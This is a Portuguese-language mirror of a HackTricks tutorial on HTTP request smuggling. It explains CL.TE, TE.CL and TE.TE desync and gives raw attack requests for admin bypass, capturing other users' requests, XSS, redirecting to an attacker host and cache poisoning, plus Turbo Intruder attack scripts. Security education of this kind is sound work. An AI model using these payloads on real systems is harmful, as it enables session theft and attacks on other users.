Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-20 10:03:51 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/http-request-smuggling/README.md

38 KiB
Raw Blame History

HTTP Request Smuggling / Ataque de Desincronização HTTP

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

O que é

Essa vulnerabilidade ocorre quando uma desincronização entre proxies de front-end e o servidor back-end permite que um atacante envie uma requisição HTTP que será interpretada como uma única requisição pelos proxies de front-end (balanceador de carga/proxy reverso) e como 2 requisições pelo servidor back-end.
Isso permite que um usuário modifique a próxima requisição que chega ao servidor back-end depois da dele.

Teoria

Especificação RFC (2161)

Se uma mensagem for recebida com um campo de cabeçalho Transfer-Encoding e um campo de cabeçalho Content-Length, este último DEVE ser ignorado.

Content-Length

O cabeçalho de entidade Content-Length indica o tamanho do corpo da entidade, em bytes, enviado ao destinatário.

Transfer-Encoding: chunked

O cabeçalho Transfer-Encoding especifica a forma de codificação usada para transferir com segurança o corpo da carga útil para o usuário.
Chunked significa que dados grandes são enviados em uma série de chunks.

Realidade

O Front-End (um balanceador de carga / Proxy Reverso) processa o cabeçalho content-length ou o cabeçalho transfer-encoding e o servidor Back-End processa o outro provocando uma desincronização entre os 2 sistemas.
Isso pode ser muito crítico, pois um atacante poderá enviar uma requisição para o proxy reverso que será interpretada pelo servidor back-end como 2 requisições diferentes. O perigo dessa técnica reside no fato de que o servidor back-end interpretará a 2ª requisição injetada como se ela viesse do próximo cliente e a requisição real desse cliente fará parte da requisição injetada.

Particularidades

Lembre-se de que no HTTP um caractere de nova linha é composto por 2 bytes:

  • Content-Length: Esse cabeçalho usa um número decimal para indicar o número de bytes do corpo da requisição. O corpo é esperado para terminar no último caractere, uma nova linha não é necessária no final da requisição.
  • Transfer-Encoding: Esse cabeçalho usa no corpo um número hexadecimal para indicar o número de bytes do próximo chunk. O chunk deve terminar com uma nova linha, mas essa nova linha não é contada pelo indicador de comprimento. Esse método de transferência deve terminar com um chunk de tamanho 0 seguido por 2 novas linhas: 0
  • Connection: Com base em minha experiência, é recomendado usar Connection: keep-alive na primeira requisição do Request Smuggling.

Exemplos Básicos

{% hint style="success" %} Ao tentar explorar isso com o Burp Suite, desative Update Content-Length e Normalize HTTP/1 line endings no repeater porque alguns gadgets abusam de novas linhas, retornos de carro e comprimentos de conteúdo malformados. {% endhint %}

Os ataques de desincronização de requisição HTTP são elaborados enviando requisições ambíguas que exploram discrepâncias na forma como os servidores de front-end e back-end interpretam os cabeçalhos Content-Length (CL) e Transfer-Encoding (TE). Esses ataques podem se manifestar de diferentes formas, principalmente como CL.TE, TE.CL e TE.TE. Cada tipo representa uma combinação única de como os servidores de front-end e back-end priorizam esses cabeçalhos. As vulnerabilidades surgem do processamento das mesmas requisições pelos servidores de maneiras diferentes, levando a resultados inesperados e potencialmente maliciosos.

Exemplos Básicos de Tipos de Vulnerabilidades

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

Vulnerabilidade CL.TE (Content-Length usado pelo Front-End, Transfer-Encoding usado pelo Back-End)

  • Front-End (CL): Processa a requisição com base no cabeçalho Content-Length.
  • Back-End (TE): Processa a requisição com base no cabeçalho Transfer-Encoding.
  • Cenário de Ataque:
  • O atacante envia uma requisição em que o valor do cabeçalho Content-Length não corresponde ao comprimento real do conteúdo.
  • O servidor de front-end encaminha a requisição inteira para o back-end, com base no valor de Content-Length.
  • O servidor back-end processa a requisição como chunked devido ao cabeçalho Transfer-Encoding: chunked, interpretando os dados restantes como uma requisição separada e subsequente.
  • Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

Vulnerabilidade TE.CL (Transfer-Encoding usado pelo Front-End, Content-Length usado pelo Back-End)

  • Front-End (TE): Processa a requisição com base no cabeçalho Transfer-Encoding.
  • Back-End (CL): Processa a requisição com base no cabeçalho Content-Length.
  • Cenário de Ataque:
  • O atacante envia uma requisição chunked em que o tamanho do chunk (7b) e o comprimento real do conteúdo (Content-Length: 4) não se alinham.
  • O servidor de front-end, respeitando Transfer-Encoding, encaminha a requisição inteira para o back-end.
  • O servidor back-end, respeitando Content-Length, processa apenas a parte inicial da requisição (7b bytes), deixando o restante como parte de uma subsequente requisição não intencional.
  • Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

Vulnerabilidade TE.TE (Transfer-Encoding usado por ambos, com obfuscação)

  • Servidores: Ambos suportam Transfer-Encoding, mas um pode ser enganado para ignorá-lo por meio de obfuscação.
  • Cenário de Ataque:
  • O atacante envia uma solicitação com cabeçalhos de Transfer-Encoding obfuscados.
  • Dependendo de qual servidor (front-end ou back-end) falha em reconhecer a obfuscação, uma vulnerabilidade CL.TE ou TE.CL pode ser explorada.
  • A parte não processada da solicitação, conforme vista por um dos servidores, torna-se parte de uma solicitação subsequente, levando ao contrabando.
  • Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Cenário CL.CL (Content-Length usado por ambos Front-End e Back-End):

  • Ambos os servidores processam a solicitação com base exclusivamente no cabeçalho Content-Length.
  • Este cenário normalmente não leva ao contrabando, pois há alinhamento na forma como ambos os servidores interpretam o comprimento da solicitação.
  • Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Solicitação Normal

Cenário CL != 0:

  • Refere-se a cenários em que o cabeçalho Content-Length está presente e tem um valor diferente de zero, indicando que o corpo da solicitação contém conteúdo.
  • É crucial para entender e elaborar ataques de contrabando, pois influencia como os servidores determinam o final de uma solicitação.
  • Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Corpo Não Vazio

Quebrando o servidor web

Essa técnica também é útil em cenários onde é possível quebrar um servidor web ao ler os dados HTTP iniciais mas sem fechar a conexão. Dessa forma, o corpo da solicitação HTTP será considerado a próxima solicitação HTTP.

Por exemplo, como explicado neste artigo, no Werkzeug era possível enviar alguns caracteres Unicode e fazer o servidor quebrar. No entanto, se a conexão HTTP foi criada com o cabeçalho Connection: keep-alive, o corpo da solicitação não será lido e a conexão ainda estará aberta, então o corpo da solicitação será tratado como a próxima solicitação HTTP.

Forçando via cabeçalhos hop-by-hop

Abusando dos cabeçalhos hop-by-hop, você poderia indicar ao proxy para excluir o cabeçalho Content-Length ou Transfer-Encoding para que um contrabando de solicitação HTTP seja possível de ser abusado.

Connection: Content-Length

Para mais informações sobre cabeçalhos hop-by-hop visite:

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

Encontrando HTTP Request Smuggling

A identificação de vulnerabilidades de HTTP request smuggling pode frequentemente ser alcançada usando técnicas de temporização, que dependem de observar quanto tempo o servidor leva para responder a solicitações manipuladas. Essas técnicas são particularmente úteis para detectar vulnerabilidades CL.TE e TE.CL. Além desses métodos, existem outras estratégias e ferramentas que podem ser usadas para encontrar tais vulnerabilidades:

Encontrando Vulnerabilidades CL.TE Usando Técnicas de Temporização

  • Método:
  • Enviar uma solicitação que, se a aplicação for vulnerável, fará com que o servidor back-end espere por dados adicionais.
  • Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Observação:
  • O servidor front-end processa a solicitação com base no Content-Length e interrompe a mensagem prematuramente.
  • O servidor back-end, esperando uma mensagem segmentada, aguarda o próximo segmento que nunca chega, causando um atraso.
  • Indicadores:
  • Timeouts ou longos atrasos na resposta.
  • Receber um erro 400 Bad Request do servidor back-end, às vezes com informações detalhadas do servidor.

Encontrando Vulnerabilidades TE.CL Usando Técnicas de Temporização

  • Método:
  • Enviar uma solicitação que, se a aplicação for vulnerável, fará com que o servidor back-end espere por dados adicionais.
  • Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Observação:
  • O servidor front-end processa a solicitação com base no Transfer-Encoding e encaminha a mensagem inteira.
  • O servidor back-end, esperando uma mensagem com base no Content-Length, aguarda dados adicionais que nunca chegam, causando um atraso.

Outros Métodos para Encontrar Vulnerabilidades

  • Análise Diferencial de Resposta:
  • Enviar versões ligeiramente variadas de uma solicitação e observar se as respostas do servidor diferem de maneira inesperada, indicando uma discrepância de análise.
  • Usando Ferramentas Automatizadas:
  • Ferramentas como a extensão 'HTTP Request Smuggler' do Burp Suite podem testar automaticamente essas vulnerabilidades enviando várias formas de solicitações ambíguas e analisando as respostas.
  • Testes de Variação de Content-Length:
  • Enviar solicitações com valores de Content-Length variados que não estão alinhados com o comprimento real do conteúdo e observar como o servidor lida com tais discrepâncias.
  • Testes de Variação de Transfer-Encoding:
  • Enviar solicitações com cabeçalhos de Transfer-Encoding obfuscados ou malformados e monitorar como os servidores front-end e back-end respondem de maneira diferente a essas manipulações.

Testando a Vulnerabilidade de HTTP Request Smuggling

Após confirmar a eficácia das técnicas de temporização, é crucial verificar se as solicitações do cliente podem ser manipuladas. Um método direto é tentar envenenar suas solicitações, por exemplo, fazendo com que uma solicitação para / resulte em uma resposta 404. Os exemplos CL.TE e TE.CL discutidos anteriormente em Exemplos Básicos demonstram como envenenar uma solicitação do cliente para obter uma resposta 404, apesar do cliente tentar acessar um recurso diferente.

Considerações Importantes

Ao testar vulnerabilidades de request smuggling interferindo em outras solicitações, tenha em mente:

  • Conexões de Rede Distintas: As solicitações "de ataque" e "normais" devem ser enviadas por conexões de rede separadas. Utilizar a mesma conexão para ambas não valida a presença da vulnerabilidade.
  • URL e Parâmetros Consistentes: Procure usar URLs e nomes de parâmetros idênticos para ambas as solicitações. Aplicações modernas frequentemente roteiam solicitações para servidores back-end específicos com base em URL e parâmetros. Correspondendo a esses aumenta a probabilidade de que ambas as solicitações sejam processadas pelo mesmo servidor, um requisito para um ataque bem-sucedido.
  • Temporização e Condições de Corrida: A solicitação "normal", destinada a detectar interferência da solicitação "de ataque", compete contra outras solicitações concorrentes da aplicação. Portanto, envie a solicitação "normal" imediatamente após a solicitação "de ataque". Aplicações ocupadas podem exigir múltiplas tentativas para confirmar a vulnerabilidade de forma conclusiva.
  • Desafios de Balanceamento de Carga: Servidores front-end atuando como balanceadores de carga podem distribuir solicitações entre vários sistemas back-end. Se as solicitações "de ataque" e "normais" acabarem em sistemas diferentes, o ataque não terá sucesso. Este aspecto de balanceamento de carga pode exigir várias tentativas para confirmar uma vulnerabilidade.
  • Impacto Não Intencional no Usuário: Se seu ataque impactar inadvertidamente a solicitação de outro usuário (não a solicitação "normal" que você enviou para detecção), isso indica que seu ataque influenciou outro usuário da aplicação. Testes contínuos podem perturbar outros usuários, exigindo uma abordagem cautelosa.

Abusando do HTTP Request Smuggling

Contornando a Segurança Front-End via HTTP Request Smuggling

Às vezes, proxies front-end aplicam medidas de segurança, analisando as solicitações recebidas. No entanto, essas medidas podem ser contornadas explorando o HTTP Request Smuggling, permitindo acesso não autorizado a endpoints restritos. Por exemplo, acessar /admin pode ser proibido externamente, com o proxy front-end bloqueando ativamente tais tentativas. No entanto, esse proxy pode negligenciar a inspeção de solicitações incorporadas dentro de uma solicitação HTTP contrabandeada, deixando uma brecha para contornar essas restrições.

Considere os exemplos a seguir ilustrando como o HTTP Request Smuggling pode ser usado para contornar controles de segurança front-end, visando especificamente o caminho /admin que geralmente é protegido pelo proxy front-end:

Exemplo CL.TE

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

No ataque CL.TE, o cabeçalho Content-Length é aproveitado para a requisição inicial, enquanto a requisição incorporada subsequente utiliza o cabeçalho Transfer-Encoding: chunked. O proxy de front-end processa a requisição POST inicial, mas falha em inspecionar a requisição GET /admin incorporada, permitindo acesso não autorizado ao caminho /admin.

Exemplo TE.CL

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Por outro lado, no ataque TE.CL, o pedido POST inicial usa Transfer-Encoding: chunked, e o pedido incorporado subsequente é processado com base no cabeçalho Content-Length. Semelhante ao ataque CL.TE, o proxy de front-end ignora o pedido GET /admin contrabandeado, concedendo inadvertidamente acesso ao caminho restrito /admin.

Revelando a reescrita de pedido de front-end

As aplicações frequentemente empregam um servidor de front-end para modificar os pedidos recebidos antes de enviá-los ao servidor de back-end. Uma modificação típica envolve adicionar cabeçalhos, como X-Forwarded-For: <IP do cliente>, para transmitir o IP do cliente ao back-end. Compreender essas modificações pode ser crucial, pois pode revelar maneiras de burlar proteções ou descobrir informações ou endpoints ocultos.

Para investigar como um proxy altera um pedido, localize um parâmetro POST que o back-end ecoa na resposta. Em seguida, crie um pedido, usando este parâmetro por último, semelhante ao seguinte:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

Nesta estrutura, os componentes de solicitação subsequentes são anexados após search=, que é o parâmetro refletido na resposta. Essa reflexão exporá os cabeçalhos da solicitação subsequente.

É importante alinhar o cabeçalho Content-Length da solicitação aninhada com o comprimento real do conteúdo. Começar com um valor pequeno e incrementar gradualmente é aconselhável, pois um valor muito baixo truncará os dados refletidos, enquanto um valor muito alto pode fazer com que a solicitação apresente erro.

Essa técnica também é aplicável no contexto de uma vulnerabilidade TE.CL, mas a solicitação deve terminar com search=\r\n0. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.

Este método serve principalmente para entender as modificações de solicitação feitas pelo proxy de front-end, essencialmente realizando uma investigação autodirigida.

Capturando solicitações de outros usuários

É viável capturar as solicitações do próximo usuário anexando uma solicitação específica como o valor de um parâmetro durante uma operação POST. Veja como isso pode ser feito:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

Neste cenário, o parâmetro de comentário destina-se a armazenar o conteúdo dentro da seção de comentários de uma postagem em uma página de acesso público. Consequentemente, o conteúdo da solicitação subsequente aparecerá como um comentário.

No entanto, essa técnica tem limitações. Geralmente, ela captura dados apenas até o delimitador de parâmetro usado na solicitação contrabandeada. Para envios de formulários codificados em URL, esse delimitador é o caractere &. Isso significa que o conteúdo capturado da solicitação do usuário vítima será interrompido no primeiro &, que pode até fazer parte da string de consulta.

Além disso, vale ressaltar que essa abordagem também é viável com uma vulnerabilidade TE.CL. Em tais casos, a solicitação deve ser concluída com search=\r\n0. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.

Usando contrabando de solicitação HTTP para explorar XSS refletido

O Contrabando de Solicitação HTTP pode ser aproveitado para explorar páginas da web vulneráveis a XSS Refletido, oferecendo vantagens significativas:

  • A interação com os usuários-alvo não é necessária.
  • Permite a exploração de XSS em partes da solicitação que são normalmente inatingíveis, como os cabeçalhos de solicitação HTTP.

Em cenários em que um site é suscetível a XSS Refletido por meio do cabeçalho User-Agent, a carga útil a seguir demonstra como explorar essa vulnerabilidade:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Este payload é estruturado para explorar a vulnerabilidade através de:

  1. Iniciar uma solicitação POST, aparentemente típica, com um cabeçalho Transfer-Encoding: chunked para indicar o início do smuggling.
  2. Seguir com um 0, marcando o final do corpo da mensagem chunked.
  3. Em seguida, é introduzida uma solicitação GET contrabandeada, onde o cabeçalho User-Agent é injetado com um script, <script>alert(1)</script>, acionando o XSS quando o servidor processa essa solicitação subsequente.

Ao manipular o User-Agent através do smuggling, o payload contorna as restrições normais da solicitação, explorando assim a vulnerabilidade de XSS Refletido de uma maneira não padrão, mas eficaz.

HTTP/0.9

{% hint style="danger" %} No caso em que o conteúdo do usuário é refletido em uma resposta com um Content-type como text/plain, impedindo a execução do XSS. Se o servidor suportar HTTP/0.9, pode ser possível contornar isso! {% endhint %}

A versão HTTP/0.9 foi anterior à 1.0 e usa apenas verbos GET e não responde com cabeçalhos, apenas o corpo.

Neste artigo, isso foi abusado com um smuggling de solicitação e um ponto final vulnerável que responderá com a entrada do usuário para contrabandear uma solicitação com HTTP/0.9. O parâmetro que será refletido na resposta continha uma resposta falsa HTTP/1.1 (com cabeçalhos e corpo), então a resposta conterá código JS executável válido com um Content-Type de text/html.

Explorando Redirecionamentos no Local com HTTP Request Smuggling

As aplicações frequentemente redirecionam de uma URL para outra usando o nome do host do cabeçalho Host na URL de redirecionamento. Isso é comum em servidores web como Apache e IIS. Por exemplo, solicitar uma pasta sem uma barra final resulta em um redirecionamento para incluir a barra:

GET /home HTTP/1.1
Host: normal-website.com

Resultados em:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Embora aparentemente inofensivo, esse comportamento pode ser manipulado usando o contrabando de solicitações HTTP para redirecionar usuários para um site externo. Por exemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Esta solicitação contrabandeada poderia fazer com que a próxima solicitação de usuário processada seja redirecionada para um site controlado pelo atacante:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Resultados em:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Neste cenário, a solicitação de um usuário para um arquivo JavaScript é sequestrada. O atacante pode potencialmente comprometer o usuário servindo JavaScript malicioso em resposta.

Explorando a Poluição de Cache Web via HTTP Request Smuggling

A poluição de cache web pode ser executada se algum componente da infraestrutura de front-end armazenar em cache conteúdo, tipicamente para melhorar o desempenho. Ao manipular a resposta do servidor, é possível poluir o cache.

Anteriormente, observamos como as respostas do servidor poderiam ser alteradas para retornar um erro 404 (consulte Exemplos Básicos). Da mesma forma, é viável enganar o servidor para entregar o conteúdo /index.html em resposta a uma solicitação para /static/include.js. Consequentemente, o conteúdo /static/include.js é substituído no cache pelo de /index.html, tornando o /static/include.js inacessível aos usuários, potencialmente levando a uma Negação de Serviço (DoS).

Essa técnica se torna particularmente potente se uma vulnerabilidade de Redirecionamento Aberto for descoberta ou se houver um redirecionamento no local para um redirecionamento aberto. Tais vulnerabilidades podem ser exploradas para substituir o conteúdo em cache de /static/include.js por um script sob o controle do atacante, essencialmente permitindo um ataque generalizado de Cross-Site Scripting (XSS) contra todos os clientes que solicitam o /static/include.js atualizado.

Abaixo está uma ilustração da exploração da poluição de cache combinada com um redirecionamento no local para um redirecionamento aberto. O objetivo é alterar o conteúdo em cache de /static/include.js para servir código JavaScript controlado pelo atacante:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Observe o pedido incorporado direcionado para /post/next?postId=3. Este pedido será redirecionado para /post?postId=4, utilizando o valor do cabeçalho Host para determinar o domínio. Ao alterar o cabeçalho Host, o atacante pode redirecionar o pedido para seu domínio (redirecionamento no local para redirecionamento aberto).

Após o envenenamento de soquete bem-sucedido, um pedido GET para /static/include.js deve ser iniciado. Este pedido será contaminado pelo pedido anterior de redirecionamento no local para redirecionamento aberto e buscará o conteúdo do script controlado pelo atacante.

Posteriormente, qualquer pedido para /static/include.js servirá o conteúdo em cache do script do atacante, lançando efetivamente um amplo ataque XSS.

Usando o contrabando de pedido HTTP para realizar a decepção de cache da web

Qual é a diferença entre envenenamento de cache da web e decepção de cache da web?

  • No envenenamento de cache da web, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e esse conteúdo é servido a partir do cache para outros usuários da aplicação.
  • Na decepção de cache da web, o atacante faz com que a aplicação armazene algum conteúdo sensível pertencente a outro usuário no cache, e o atacante então recupera esse conteúdo do cache.

O atacante elabora um pedido contrabandeado que busca conteúdo sensível específico do usuário. Considere o exemplo a seguir:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Se esta solicitação contrabandeada envenenar um registro de cache destinado a conteúdo estático (por exemplo, /someimage.png), os dados sensíveis da vítima de /private/messages podem ser armazenados em cache sob o registro de cache do conteúdo estático. Consequentemente, o atacante poderia potencialmente recuperar esses dados sensíveis armazenados em cache.

Abusando do TRACE via HTTP Request Smuggling

Neste post é sugerido que se o servidor tiver o método TRACE habilitado, poderia ser possível abusar dele com um HTTP Request Smuggling. Isso ocorre porque esse método refletirá qualquer cabeçalho enviado para o servidor como parte do corpo da resposta. Por exemplo:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Irá enviar uma resposta como:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Um exemplo de como abusar desse comportamento seria contrabandear primeiro uma solicitação HEAD. Esta solicitação será respondida apenas com os cabeçalhos de uma solicitação GET (Content-Type entre eles). E contrabandear imediatamente após o HEAD uma solicitação TRACE, que estará refletindo os dados enviados.
Como a resposta HEAD conterá um cabeçalho Content-Length, a resposta da solicitação TRACE será tratada como o corpo da resposta HEAD, refletindo assim dados arbitrários na resposta.
Essa resposta será enviada para a próxima solicitação pela conexão, então isso poderia ser usado em um arquivo JS em cache, por exemplo, para injetar código JS arbitrário.

Abusando do TRACE via Divisão de Resposta HTTP

Continuar seguindo este post é sugerido outro modo de abusar do método TRACE. Como comentado, contrabandear uma solicitação HEAD e uma solicitação TRACE é possível controlar alguns dados refletidos na resposta à solicitação HEAD. O comprimento do corpo da solicitação HEAD é basicamente indicado no cabeçalho Content-Length e é formado pela resposta à solicitação TRACE.

Portanto, a nova ideia seria que, sabendo esse Content-Length e os dados fornecidos na resposta TRACE, é possível fazer com que a resposta TRACE contenha uma resposta HTTP válida após o último byte do Content-Length, permitindo que um atacante controle completamente a solicitação para a próxima resposta (que poderia ser usada para realizar um envenenamento de cache).

Exemplo:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Irá gerar essas respostas (observe como a resposta HEAD tem um Content-Length fazendo com que a resposta TRACE faça parte do corpo do HEAD e uma vez que o Content-Length do HEAD termina, uma resposta HTTP válida é contrabandeada):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Armar HTTP Request Smuggling com Desincronização de Resposta HTTP

Você encontrou alguma vulnerabilidade de HTTP Request Smuggling e não sabe como explorá-la. Experimente este outro método de exploração:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Outras Técnicas de HTTP Request Smuggling

  • HTTP Request Smuggling no Navegador (Lado do Cliente)

{% content-ref url="browser-http-request-smuggling.md" %} browser-http-request-smuggling.md {% endcontent-ref %}

  • Request Smuggling em Downgrades HTTP/2

{% content-ref url="request-smuggling-in-http-2-downgrades.md" %} request-smuggling-in-http-2-downgrades.md {% endcontent-ref %}

Scripts do Turbo Intruder

CL.TE

De https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

De: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Ferramentas

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: